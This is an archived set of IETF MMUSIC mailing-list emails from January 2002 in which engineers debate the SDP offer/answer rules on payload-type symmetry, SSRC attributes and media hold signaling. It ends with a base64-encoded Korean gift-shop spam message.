believe we have agreed on the underlying issue (that all codecs listed in a
sendrecv media stream must be supported for send and receive in both the
offer and answer). Given that, I'm happy to leave this for now and just take
a look at the next version of the draft.

-- Flemming

>
>
> -Jonathan R.
>
> --
> Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
> Chief Scientist                         First Floor
> dynamicsoft                             East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
> http://www.jdrosen.net                  PH:  (973) 952-5000
> http://www.dynamicsoft.com

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Fri Jan  4 09:36:25 2002
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA22166
	for confctrl-outgoing; Fri, 4 Jan 2002 09:36:25 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA22161
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jan 2002 09:36:24 -0800 (PST)
Received: from nisser.cisco.com (nisser.cisco.com [171.71.176.85])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id g04HbJg02725
	for <confctrl@isi.edu>; Fri, 4 Jan 2002 09:37:19 -0800 (PST)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by nisser.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id JAA21989; Fri, 4 Jan 2002 09:36:57 -0800 (PST)
Message-ID: <3C35E85C.94860944@cisco.com>
Date: Fri, 04 Jan 2002 12:37:32 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "Paul E. Jones" <paulej@packetizer.com>, MMUSIC <confctrl@ISI.EDU>,
        mmusic@ietf.org
Subject: Re: [MMUSIC] Why must PT be the same in send and receive directio	n ?
References: <012c01c189e7$a4afcd40$63a86840@cisco.com> <3C29EAC8.6040504@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:

> In the interests of cooperation and forward progress, here is a proposal.
>
> The spec states that the answerer MUST use the same PT in forward and
> reverse directions, but that in some interworking cases when the
> answerer is a gateway, it is not possible to meet this. Therefore, the
> offerer SHOULD be prepared to see different dynamic PT in the answer.
>

Sounds good.

>
> I will note that proposals like this (sender MUST NOT do something, but
> receiver MUST be prepared to handle it anyway) have led to
> interoperability issues in the past.

Be conservative in what you send and liberal in what you receive.

> Thus, if we take this route, we
> must do so cautiously, providing sufficient motivation for people to
> understand why this was done.
>
> I'd like to see some inputs from implementors on the burden of
> supporting different PT in forward and reverse directions....

I've checked with some of our implementers, and they don't see a problem at
least (anybody supporting H.323 should not have a problem in this area)

-- Flemming


>
>
> -Jonathan R.
>
> Paul E. Jones wrote:
>
> > Flemming and Jonathan,
> >
> > I think the reason that the symmetry of PTs has not been an issue up to
> > this
> > point are two-fold:
> >   1) Interworking between H.245 and SDP-based systems has had less focus
> >   2) There have previously been few dynamic PTs used within H.245
> >      for which people have tried to interwork with SDP-based
> >      (Of course, they are used, but few people have cared about whether
> >       those PTs being used worked with SDP-based systems or not.  I
> > believe
> >       the first problem encounter that is of concern is the interworking
> >       of RFC 2833.)
> >
> > As we look at new codec types and the exchange of other signaling that
> > rely
> > on dynamic payload types, the H.323/SDP interworking problems in this
> > area
> > are forcing us to take note of the issues here.
> >
> > Within H.323, it is possible to exchange PTs in two ways:
> >   1) In the Setup message, and endpoint may propose "forward"
> >      and "reverse" audio/video/data channels and include the
> >      dynamic payload types
> >   2) The PTs might be conveyed through H.245 capabilities exchange
> >      (which is asymmetrical by nature)
> >
> > In either case, it is possible to have asymmetric usage of payload
> > types.  I
> > would suspect that in most cases, endpoint vendors who use (1) will
> > specify
> > the same PT for the "forward" and the "reverse" audio channel, though
> > that
> > is not required.For channels opened with knowledge learned through
> > (2),
> > there is certainly no guarantee of symmetric payload types.
> > Additionally,
> > there has not been a sense that such a restrictive requirement is
> > necessary.
> >
> > Media clipping is not an issue in (1) any more so than when using
> > SDP-based
> > protocols.  However, the use of (2) alone certainly might increase the
> > chances of clipping media, as the PTs may not be known at the calling
> > endpoint before media is received.  Hence, method (1) is strongly
> > encouraged, with method (2) used to provide information about
> > capabilities
> > that may be utilized during or after call setup that less time
> > sensitive,
> > such as T.120 multipoint data conferencing.  (2) is also used in order
> > to
> > establish A/V communication wherein the proposals from (1) are not
> > acceptable to the called party.
> >
> > In any case, interoperability between the two systems when using dynamic
> > payload types is a real issue that we need to tackle.
> >
> > Paul
> >
> > ----- Original Message -----
> > From: "Flemming Andreasen" <fandreas@cisco.com>
> > To: "Jonathan Rosenberg" <jdrosen@dynamicsoft.com>
> > Cc: "MMUSIC" <confctrl@isi.edu>; <mmusic@ietf.org>; "Paul E Jones"
> > <paulej@cisco.com>
> > Sent: Thursday, December 20, 2001 1:36 PM
> > Subject: Re: [MMUSIC] Why must PT be the same in send and receive
> > direction
> > ?
> >
> >
> >
> >>
> >>Jonathan Rosenberg wrote:
> >>
> >>
> >>>Flemming Andreasen wrote:
> >>>
> >>>
> >>>>The offer/answer model is quite explicit in stating that the
> >>>>
> > payload
> >
> >>>>type for a given codec MUST be the same in the send and receive
> >>>>direction and hence the payload type mapping for codec X in MUST
> >>>>
> > be
> > the
> >
> >>>>same in the offer and answer. However, this can cause a great deal
> >>>>
> > of
> >
> >>>>grief when interworking with H.323 based systems, since they can't
> >>>>necessarily guarantee this property.
> >>>>
> >>>>Now I can't think of a lot of reasons for the above offer/answer
> >>>>restriction, except that it guarantees a proper interpretation of
> >>>>
> > a
> >
> >>>>given payload type prior to receiving the actual answer to the
> >>>>
> > offer.
> >
> >>>Well, thats a good one. You are guaranteed to have media clipping
> >>>without this feature.
> >>>
> >>>
> >>Not quite: you are not guaranteed to not have media clipping without
> >>this
> >>feature.
> >>
> >>
> >>>It also makes it easy for the offerer to determine, from the answer,
> >>>
> > the
> >
> >>>matching of codecs in the offer to the answer. Its a simple numeric
> >>>comparison.
> >>>
> >>True
> >>
> >>
> >>>Without the same PT numbers, you need to do a
> >>>canonicalization based on the actual codec and parameters. Even
> >>>
> > minor
> >
> >>>inconsistencies in the construction of the rtpmaps in the answer can
> >>>cause confusion about which codec is which.
> >>>
> >>Not sure I see that. The only rule we have right now is that the
> >>
> > payload
> >
> >>type
> >>mapping must be the same in both directions, hence the only difference
> >>is
> >>whether you follow a dynamic payload type mapping to its canonical
> >>
> > name
> >
> >>or
> >>not.
> >>
> >>
> >>
> >>>Its also consistent with multicast operation.
> >>>
> >>>Overall, I think its just simpler.
> >>>
> >>I agree with that, but I don't see a huge difference.
> >>
> >>
> >>
> >>>>Unless there is another good reason for the restriction, I would
> >>>>
> > like
> > to
> >
> >>>>propose, that we allow it to be relaxed, i.e. turn it into a
> >>>>
> > SHOULD
> > and
> >
> >>>>put in a proper note explaining what might happen if you don't
> >>>>
> > follow
> >
> >>>>it.
> >>>>
> >>>Well, this turns into an interop nightmare for sip. We will have a
> >>>complete interop failure if a new UA generates an answer with
> >>>
> > different
> >
> >>>payload types.
> >>>
> >>>This text has also been in there for a very long time.
> >>>
> >>I know and that's a big concern to me too (if we were to make any
> >>changes).
> >>
> >>
> >>
> >>>How come no one
> >>>complained about this H.323 issue before? Its the first I've heard
> >>>
> > of
> > it.
> >
> >>Don't know, but it's apparently been around for a while. My H.323
> >>expertise is
> >>admittedly a little rusty (cc'ing more knowledgeable people here), but
> >>
> > I
> >
> >>believe the problem is that the H.245 OpenLogicaChannel request can be
> >>used to
> >>open a uni-directional or bi-directional stream, however in either
> >>
> > case,
> >
> >>it is
> >>possible that the sender and receiver end up specifying different
> >>payload type
> >>mappings for a given codec. This is particular troublesome in the case
> >>where
> >>the two sides open a uni-directional stream to the other side in
> >>parallel.
> >>
> >>Given the long-standing existing SDP/offer/answer baggage we have
> >>
> > here,
> >
> >>I
> >>believe you need to go for the lowest common denominator when mapping
> >>between
> >>SIP/SDP and H.323, and hence H.323 should have procedures in place to
> >>resolve
> >>asymmetric payload type mappings in cases where you need symmetry, but
> >>
> > I
> >
> >>wanted to raise the issue here to see what people think.
> >>
> >>Thanks
> >>
> >>        Flemming
> >>
> >>
> >>>-Jonathan R.
> >>>
> >>>--
> >>>Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
> >>>Chief Scientist                         First Floor
> >>>dynamicsoft                             East Hanover, NJ 07936
> >>>jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
> >>>http://www.jdrosen.net                  PH:  (973) 952-5000
> >>>http://www.dynamicsoft.com
> >>>
> >>>_______________________________________________
> >>>mmusic mailing list
> >>>mmusic@ietf.org
> >>>https://www1.ietf.org/mailman/listinfo/mmusic
> >>>
> >>--
> >>Flemming Andreasen
> >>Cisco Systems
> >>
> >>
> >
>
> --
> Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
> Chief Scientist                         First Floor
> dynamicsoft                             East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
> http://www.jdrosen.net                  PH:  (973) 952-5000
> http://www.dynamicsoft.com
>
> _______________________________________________
> mmusic mailing list
> mmusic@ietf.org
> https://www1.ietf.org/mailman/listinfo/mmusic

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Fri Jan  4 09:58:09 2002
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA24527
	for confctrl-outgoing; Fri, 4 Jan 2002 09:58:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA24522
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jan 2002 09:58:08 -0800 (PST)
Received: from nisser.cisco.com (nisser.cisco.com [171.71.176.85])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id g04Hx4g15583
	for <confctrl@ISI.EDU>; Fri, 4 Jan 2002 09:59:04 -0800 (PST)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by nisser.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id JAA04533; Fri, 4 Jan 2002 09:58:16 -0800 (PST)
Message-ID: <3C35ED5B.A40B3E98@cisco.com>
Date: Fri, 04 Jan 2002 12:58:52 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: mmusic@ietf.org, confctrl@ISI.EDU
Subject: Re: [MMUSIC] resolving open issues in offer/answer
References: <3C22C8A7.3EAB9B9@cisco.com> <3C2A10EB.9030900@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:

> Flemming Andreasen wrote:
>
> >
> > Jonathan Rosenberg wrote:
>
>
> >>1. change the ssrc when you send with the new codec set. The receiver
> >>can drop uneeded codecs when it sees the new ssrc. This only works for
> >>unicast.
> >>
> >
> > Actually, I don't even think it does. If you have multiple senders
> > sending
> > media to you, how do you know which SSRC corresponds to which sender ?
> > Also,
> > it is possible than an SSRC change might happen for other reasons
> > (admittedly, we are getting down to a rather small window for this
> > race).
>
> Realistically, for this to work, you would need to include the actual
> SSRC rather than simply waiting for a change in the ssrc. That would
> resolve the issues you raise above, but requires an additional SDP
> parameter.
>
> Its worth noting that there is another advantage of the ssrc parameter,
> which is that it will allow us to correlate a media stream from a
> particular source to a specific dialog, in the event the demux is not
> done at the port level. This will happen in the case where we have a
> forked INVITE that results in two 200 OK. Each answerer will end up
> sending to the same offererd port. Having something in the answer, like
> the ssrc, which will allow for disambiguation, would help.

That's a good point - it would be very helpful indeed.


>
>
> Of course, there is the associated ugliness with collisions resulting in
> a change in ssrc....
>

I think it is imperative, that such an "SSRC" attribute only be advisory in nature,
i.e a hint. If you receive packets with a known SSRC, you know what to do, but if you
receive packets with an unknown SSRC, everything must still work. Also, since not all
implementations would support such an extension, we still need rules for what to do
in the absence of this attribute and/or other SSRCs.


>
> However, this proposal is worth further consideration. It gives us an
> explicit, reliable, rapid way to associate media streams with signaling,
> and I think thats fairly valuable.

I agree.

> I will admit that changing SSRC might
> introduce some confusion into systems; I welcome inputs on specific
> problems it might cause.
>

Again, I think it is important to have some flexibility surrounding the use of such
an SSRC attribute, and see it as an optimization hint as opposed to enforcing strict
rules.

As far as problems go, SRTP security contexts (which key off the SSRC) would seem to
be potentially troublesome.


-- Flemming

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Fri Jan  4 10:21:03 2002
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA27042
	for confctrl-outgoing; Fri, 4 Jan 2002 10:21:03 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA27037
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jan 2002 10:21:03 -0800 (PST)
Received: from nisser.cisco.com (nisser.cisco.com [171.71.176.85])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id g04ILwg25507
	for <confctrl@isi.edu>; Fri, 4 Jan 2002 10:21:58 -0800 (PST)
Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134]) by nisser.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id KAA18657; Fri, 4 Jan 2002 10:21:04 -0800 (PST)
Message-ID: <3C35F2B3.FD96229B@cisco.com>
Date: Fri, 04 Jan 2002 13:21:39 -0500
From: Flemming Andreasen <fandreas@cisco.com>
Organization: Cisco Systems
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "Drage, Keith (Keith)" <drage@lucent.com>, sip@ietf.org, mmusic@ietf.org,
        confctrl@ISI.EDU
Subject: Re: [MMUSIC] Re: [Sip] Open Issue #150: too many ways of saying "	don't  
 send me media"
References: <3C22B0AC.2E1DDE79@cisco.com> <3C2A4972.7050101@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:

> Flemming Andreasen wrote:
>
> >
>
> >>The semantics are:
> >>
> >>c=0.0.0.0: will cease reception of RTP and RTCP, no longer the
> >>recommended way to do hold, has issues with SRTP keying, ipv6,
> >>connection oriented media, etc. Generally bad.
> >>
> >>a=inactive/sendonly - stops only RTP
> >>
> >>port 0: turns of media streams - safe to unload codecs, etc.
> >>
> >>bw=0: will turn off reception of RTP and RTCP
> >>
> >
> > Do we really need the "bw" one ?
>
> No, its not really NEEDED. The point Henning had made at IETF is that
> the treatment for any bandwidth number is well defined; in that case,
> disallowing zero is a special case. I see no reason to disallow it as a
> special case when it has defined meaning for all values.
>

I'm not sure I agree with this. Let's say I specify a bw of 1 kilobit, and
the only codec supported currently is G.711. What do I do ?

There are several parameters that can have more or less sensible values
associated with them and having a bandwidth specify less than the current
codecs is not sensible IMO. All you are doing is defining yet another
implicit way of signaling something for which there is already explicit
signaling support in place. I'd rather reduce the number of well-defined
options for expressing something than increasing it. Not a big deal either
way to me, but more of a general design principle - I'll leave it up to
you.

-- Flemming


--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Fri Jan  4 12:07:05 2002
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA06632
	for confctrl-outgoing; Fri, 4 Jan 2002 12:07:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA06625
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jan 2002 12:07:03 -0800 (PST)
Received: from mail3.dynamicsoft.com ([63.113.44.69])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id g04K7tg14628
	for <confctrl@ISI.EDU>; Fri, 4 Jan 2002 12:07:56 -0800 (PST)
Received: from dynamicsoft.com ([63.113.46.84])
	by mail3.dynamicsoft.com (8.12.1/8.12.1) with ESMTP id g04K7aVZ007156;
	Fri, 4 Jan 2002 15:07:37 -0500 (EST)
Message-ID: <3C360B6B.9010306@dynamicsoft.com>
Date: Fri, 04 Jan 2002 15:07:07 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: mmusic@ietf.org, confctrl@ISI.EDU
Subject: Re: resolving open issues in offer/answer
References: <3C223470.18E804AE@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Paul Kyzivat wrote:

> Comments below - Paul
> 

>>ISSUE 3: Multiple streams of the same type. See the slides for the
>>issue. My proposal was accepted, with the caveat that we would add
>>wording to clarify that the default operation is NOT to copy media
>>from your own local sinks to sources, unless you happen to be a conference
>>server.
>>
> 
> I don't have any substantial objection to what you propose. But the
> first two listed requirements can be met in cursory ways:
> 
> - the requirement that sources must be sent to one or more streams begs
> the question of when you do or don't have a source. For instance, if I
> mute my phone, have I removed a source or have I stopped sending the
> source to a stream?


Its more that there is a binding between a source and a stream, and if 
the source has data, it gets sent on that stream. In the case of mute, I 
would argue that the source has no data.


> 
> - I believe the bit bucket is a perfectly valid sink. I can always
> dispose of input from a stream by conjuring up a bit bucket sink to send
> it to.


It is a question of what behavior is desired by the sender. If the 
sender is collecting media from different sources, it needs to know that 
the general behavior is that all sources will be rendered. If people 
interpret multiple m lines to be "pick one, throw the rest in the 
garbage", then the sender needs to do mixing at its end. So, the 
strength of this incoming stream to actual sink requirement would be 
SHOULD, so that you could still discard a media stream, but only if you 
had some specific reason to do so. That is, the normal behavior would be 
to present everything.


-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
Chief Scientist                         First Floor
dynamicsoft                             East Hanover, NJ 07936
jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
http://www.jdrosen.net                  PH:  (973) 952-5000
http://www.dynamicsoft.com


From confctrl-owner  Fri Jan  4 13:29:48 2002
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA11088
	for confctrl-outgoing; Fri, 4 Jan 2002 13:29:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA11081
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jan 2002 13:29:47 -0800 (PST)
Received: from mail.instreet.co.kr ([211.215.22.21])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id g04LUgg18223
	for <confctrl@isi.edu>; Fri, 4 Jan 2002 13:30:42 -0800 (PST)
Received: from i5j9j4 ([211.211.181.62]) by mail.instreet.co.kr with Microsoft SMTPSVC(5.0.2195.2966);
	 Sat, 5 Jan 2002 06:31:21 +0900
From: =?ks_c_5601-1987?B?seLHwcaus6q28w==?= <giftnala@hananet.net>
To: confctrl@ISI.EDU
Subject: =?ks_c_5601-1987?B?W8bHw8u5sCzEq7e7tNldIGNvbmZjdHJstNQgvsiz58fPvcq0z7HuPw==?=
Date: Sat, 05 Jan 2002 06:00:56 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0067_01C0F05A.93A00C00"
X-Priority: 3
Message-ID: <TIMELINE9VPE1WYb2wJ0004c838@mail.instreet.co.kr>
X-OriginalArrivalTime: 04 Jan 2002 21:31:21.0406 (UTC) FILETIME=[27260DE0:01C19567]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0067_01C0F05A.93A00C00
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

IMGmuPG++MC9IA0KDQoNCr7Is+fHz7y8v+QuseLHwcaus6q288DUtM+02SANCg0Kx+O29L74
wMwgsdvAuyC/w7iusNQgtce+7iANCg0Kwcu82yDH1bTPtNkuIA0KDQrBpsewIMGmwba757/N
wMcgwfewxbehIMCvxevAuyDF68fPv6kgDQoNCsD6t8XH0SC03LCht84gDQoNCrTZvufH0SDB
psewwLsgxse4xcfPsO3A2iDHz7/AtM8gseLFuCCxw7Hdx8+9xSANCg0KwaHAuyC5rsDHx8+/
qSDB1r3DuOkgw9a8scC7ILTZx8+/qSC05MfYteW4rrDavcC0z7TZLiANCg0Kv+u1tTogvLG5
sL/rx7AvseKz5MewL8bHw8u/68ewL7Czvve/68ewL8fgu+e/68ewLyANCg0KsaSw7b/rx7Av
u/3IsL/rx7AvsKHBpL/rx7Avu+e5q7/rx7AvKioqxKu3u7TZKioqIA0KDQrAp7v9v+vHsC/C
97euv+vHsLXuIA0KDQrA/MitOjA1NS0yNzctOTkxOSDG0b26OjA1NS0yNzctOTkxNiBILlA6
MDExLTU5Ny05NTE0IA0KDQpodHRwOi8vd3d3LmdpZnRuYWxhLmNvLmtyIA0KW8Pfw7Ugu+fA
zMauXSAgICAgICAgICAgICAgIFu89r3FsMW6zl0g

------=_NextPart_000_0067_01C0F05A.93A00C00
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

PGh0bWw+DQogDQo8aGVhZD4NCjx0aXRsZT7BprjxvvjAvTwvdGl0bGU+DQo8bWV0YSBuYW1l
PSJnZW5lcmF0b3IiIGNvbnRlbnQ9Ik5hbW8gV2ViRWRpdG9yIHY0LjAiPg0KPC9oZWFkPg0K
IA0KPGJvZHkgYmdjb2xvcj0id2hpdGUiIHRleHQ9ImJsYWNrIiBsaW5rPSJibHVlIiB2bGlu
az0icHVycGxlIiBhbGluaz0icmVkIj4NCjxwPjxpbWcgc3JjPSJodHRwOi8vZ2lmdG5hbGEu
Y28ua3Ivc2hvcGltYWdlcy9naWZ0bmFsYTExLzAxMzAxODAwMDA0MDIuanBnIiBhbHQ9Ir7I
s+fHz7y8v+ReXiIgd2lkdGg9IjIxOSIgaGVpZ2h0PSIxNzkiIGJvcmRlcj0iMCI+PC9wPg0K
PHA+vsiz58fPvLy/5C6x4sfBxq6zqrbzwNS0z7TZIDwvcD4NCjxwPsfjtvS++MDMILHbwLsg
v8O4rrDUILXHvu4gPC9wPg0KPHA+wcu82yDH1bTPtNkuIDwvcD4NCjxwPsGmx7AgwabBtrvn
v83AxyDB97DFt6EgwK/F68C7IMXrx8+/qSA8L3A+DQo8cD7A+rfFx9EgtNywobfOIDwvcD4N
CjxwPrTZvufH0SDBpsewwLsgxse4xcfPsO3A2iDHz7/AtM8gseLFuCCxw7Hdx8+9xSA8L3A+
DQo8cD7BocC7ILmuwMfHz7+pIMHWvcO46SDD1ryxwLsgtNnHz7+pILTkx9i15biusNq9wLTP
tNkuIDwvcD4NCjxwPr/rtbU6ILyxubC/68ewL7His+THsC/Gx8PLv+vHsC+ws773v+vHsC/H
4Lvnv+vHsC8gPC9wPg0KPHA+saSw7b/rx7Avu/3IsL/rx7AvsKHBpL/rx7Avu+e5q7/rx7Av
KioqxKu3u7TZKioqIDwvcD4NCjxwPsCnu/2/68ewL8L3t66/68ewte4gPC9wPg0KPHA+wPzI
rTowNTUtMjc3LTk5MTkgxtG9ujowNTUtMjc3LTk5MTYgSC5QOjAxMS01OTctOTUxNCA8L3A+
DQo8cD48YSBocmVmPSJodHRwOi8vd3d3LmdpZnRuYWxhLmNvLmtyIiB0YXJnZXQ9Il9ibGFu
ayI+aHR0cDovL3d3dy5naWZ0bmFsYS5jby5rcjwvYT4mbmJzcDs8L3A+DQo8YSBocmVmPSJo
dHRwOi8vbXkubmV0aWFuLmNvbS9+aGVlc2V1YmwvIiB0YXJnZXQ9Il9ibGFuayI+W8Pfw7Ug
u+fAzMauXTwvYT4gDQombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz
cDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8QSBIUkVGPW1h
aWx0bzpnaWZ0bmFsYUBoYW5hbmV0Lm5ldD9zdWJqZWN0Pbz2vcWwxbrOJmJvZHk9uN7Az7z2
vcXAu7DFus7H1bTPtNk+PGZvbnQgY29sb3I9InJlZCI+W7z2vcWwxbrOPC9BPl08L2ZvbnQ+
IA0KPC9ib2R5Pg0KPC9odG1sPg0K

------=_NextPart_000_0067_01C0F05A.93A00C00--